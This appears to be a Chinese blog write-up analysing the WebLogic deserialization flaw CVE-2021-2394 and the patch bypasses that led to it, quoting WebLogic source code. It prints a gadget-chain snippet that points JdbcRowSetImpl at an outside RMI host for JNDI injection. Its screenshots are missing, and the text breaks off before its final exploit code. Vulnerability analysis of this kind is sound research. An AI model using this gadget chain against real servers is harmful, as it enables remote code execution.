cve-2021-2394 weblogic反序列化漏洞分析

前幾天weblogic 7月例行更新中,修復了一個Rce漏洞。該漏洞性質屬於繞過之前的反序列化漏洞補丁。要了解這個漏洞的原因,我們首先要學習其他幾個漏洞的原理。

一 weblogic 反序列化繞過指南

本章節只是大概講解一下如何繞過weblogic反序列化漏洞的補丁。

序列化和反序列化是將一個對象從本機JVM中傳輸到遠程JVM上。在java 序列化的時候,會將對象的類名也寫入到傳輸的數據中。反序列化的時候首先從數據中讀取類名,然後通過反射,根據類名去實例化這個對象。類通過實現java.io.Serializable接口可以啓用其序列化功能。未實現次接口的類無法使其任何狀態序列化或反序列化。可序列化類的所有子類型本身都是可序列化的。序列化接口沒有方法或字段,僅用於標識可序列化的語義。

一個類如果想被序列化,那麼它可以繼承自兩個接口,這兩個接口的對比如下。

區 別 Serializable Externalizable
實現複雜度 實現簡單,Java對其有內建支持 實現複雜,由開發人員自己完成
執行效率 所有對象由Java統一保存,性能較低 開發人員決定哪個對象保存,可能造成速度提升
保存信息 保存時佔用空間大 部分存儲,可能造成空間減少

而在weblogic的T3協議中,就是用java的序列化協議互相傳輸對象。爲了保證安全性,T3協議的反序列化黑名單中標識哪些類不可以被反序列化。所以weblogic補丁繞過總共有下面幾種辦法

1.1 黑名單沒有覆蓋的類

weblogic的開發沒有主管能動性,對於安全態度十分消極。只有有人上報CVE,他纔會動手加黑名單。否則絕對不會做任何事情。而且對於黑名單經常漏加,造成很多繞過案例。

1.2 利用未經過濾的ObjectInputStream繞過繞過

在之前的公衆號講過,在weblogic中某些類繼承自Externalizable接口,在反序列化的時候默認會調用readExternal方法。在該方法中沒有使用weblogic提供的帶有黑名單過濾功能的FilterInputStream去還原類。而是自作主張,自己使用了沒有黑名單過濾的ObjectInputStream去還原對象。造成黑名單根本就沒用上,例如CVE-2020-2551 就是這種情況。

當然這只是一個大概,並沒有很詳細,我們這篇文章的重點不在此。

3. CVE-2020-14841 Jndi注入漏洞

oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor中,代碼如下

    public Object extract(Object arg0) {
        if (arg0 == null) {
            return null;
        } else {
            if (arg0 instanceof Wrapper) {
                arg0 = ((Wrapper)arg0).unwrap();
            }


            if (!this.accessor.isInitialized()) {
                this.accessor.initializeAttributes(arg0.getClass());
            }


            return this.accessor.getAttributeValueFromObject(arg0);
        }
    }

我們可以從代碼上看出來,類似與 cve-2020-2555,用法也都是一樣的。觸發漏洞的重點在於this.accessor.getAttributeValueFromObject 中。對於這個漏洞,我們一般使用MethodAttributeAccessor這個類去觸發漏洞

相關代碼如下

public class MethodAttributeAccessor extends AttributeAccessor {
    protected String setMethodName = "";
    protected String getMethodName;
    protected transient Method setMethod;
    protected transient Method getMethod;

    protected Object getAttributeValueFromObject(Object anObject, Object[] parameters) throws DescriptorException {
        try {
            if (PrivilegedAccessHelper.shouldUsePrivilegedAccess()) {
                try {
                    return AccessController.doPrivileged(new PrivilegedMethodInvoker(this.getGetMethod(), anObject, parameters));
            } else {
                return this.getMethod.invoke(anObject, parameters);
            }

下面我們選取一條Gadget。在反序列化的Gadget中,單純通過反序列化還原一個類是沒有辦法觸發漏洞,一般都一條鏈條去觸發。所以我們選取下面的cve-2020-14645 的Gadget,代碼如下

 // JdbcRowSetImpl
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://192.168.3.254:8888/xsmd");

        MethodAttributeAccessor methodAttributeAccessor = new MethodAttributeAccessor();
        methodAttributeAccessor.setGetMethodName("getDatabaseMetaData");
        methodAttributeAccessor.setIsWriteOnly(true);
        methodAttributeAccessor.setAttributeName("UnicodeSec");


        LockVersionExtractor extractor = new LockVersionExtractor(methodAttributeAccessor, "UnicodeSec");

        final ExtractorComparator comparator = new ExtractorComparator(extractor);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);


        Object[] q = new Object[]{jdbcRowSet, jdbcRowSet};
        Reflections.setFieldValue(queue, "queue", q);
        Reflections.setFieldValue(queue, "size", 2);

        Field comparatorF = queue.getClass().getDeclaredField("comparator");
        comparatorF.setAccessible(true);
        comparatorF.set(queue, new ExtractorComparator(extractor));

注意,在反序列化Gadget中,必須所有類都可以被反序列化。

Weblogic的修復思路也比較清奇,只是將LockVersionExtractor與MethodAttributeAccessor類加入到黑名單中。但是LockVersionExtractor旁邊還有一個FilterExtractor類,同樣可以觸發該漏洞,但是weblogic卻沒有將其加入到黑名單中。這也爲cve-2021-2394埋下了伏筆

3. cve-2020-14756分析

weblogic 偏偏又搞出一套屬於自己的反序列化方案。在coherence包中繼承自com.tangosol.io.ExternalizableLite的類同樣可以被反序列化。我們看一下com.tangosol.io.ExternalizableLite的具體代碼。

public interface ExternalizableLite extends Serializable {
    void readExternal(DataInput var1) throws IOException;

    void writeExternal(DataOutput var1) throws IOException;
}

雖然他這個接口也存在readExternal方法,但是方法的參數類型與java.io.Externalizable接口的readExternal方法的參數類型不同。所以對於繼承自com.tangosol.io.ExternalizableLite的類,在反序列化的時候並不會主動調用其readExternal方法。而是像繼承自java.io.serializable接口的類一樣,還原所有屬性。

但是我們要想辦法調用com.tangosol.io.ExternalizableLite的readExternal方法,在很多繼承自該接口的類中都重寫了該方法,而且有很多注入繞過weblogic黑名單的敏感操作。
com.tangosol.coherence.servlet.AttributeHolder類中,java原生的序列化與反序列化默認會調用readExternal(ObjectInput in)方法,恰好又調用了readExternal(DataInput in)方法。方法代碼如下,第三行中使用ExternalizableHelper.readObject從流中還原一個對象

    public void readExternal(DataInput in) throws IOException {
        this.m_sName = ExternalizableHelper.readUTF(in);
        this.m_oValue = ExternalizableHelper.readObject(in);
        this.m_fActivationListener = in.readBoolean();
        this.m_fBindingListener = in.readBoolean();
        this.m_fLocal = in.readBoolean();
    }

ExternalizableHelper.readObject方法中實際調用ExternalizableHelper.readObjectInternal方法去還原一個對象,代碼如下
image.png

在這裏根據對象的類型,調用相關函數去還原。對於繼承自com.tangosol.io.ExternalizableLite的類,由readExternalizableLite方法去處理,實例化相關對象後,再調用類的readExtrenal方法。
image.png

在這裏,讀取類名將其實例化。在這最關鍵的一步,缺少了黑名單的過濾。

weblogic的修復方法也很簡單,那就是直接弄個黑名單過濾,代碼如下,黑名單其實就是
image.png

4. cve-2021-2394 分析

說了上面這兩個漏洞,終於可以引出下面這個漏洞了。這個漏洞其實是CVE-2020-14841與cve-2020-14756的結合體。在cve-2020-14841中最爲關鍵的兩個類目前已經加入黑名單套餐。其中LockVersionExtractor可以使用FilterExtractor代替。那麼MethodAttributeAccessor如何代替。

答案在oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor(java.io.DataInput)中,代碼如圖。在這個方法中實例化一個MethodAttributeAccessor對象。我們只需要尋找在反序列化過程中是誰調用該方法,即可不通過反序列化去生成MethodAttributeAccessor對象

image.png

巧合的是,FilterExtractor中,正好會通過readAttributeAccessor去還原MethodAttributeAccessor對象。FilterExtractor對象也恰好繼承自com.tangosol.io.ExternalizableLite方法。而觸發readAttributeAccessor的方法恰好是重寫自接口的方法。

我們只需要通過cve-2020-14756前半部分觸發漏洞即可。十分簡單,代碼如下

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章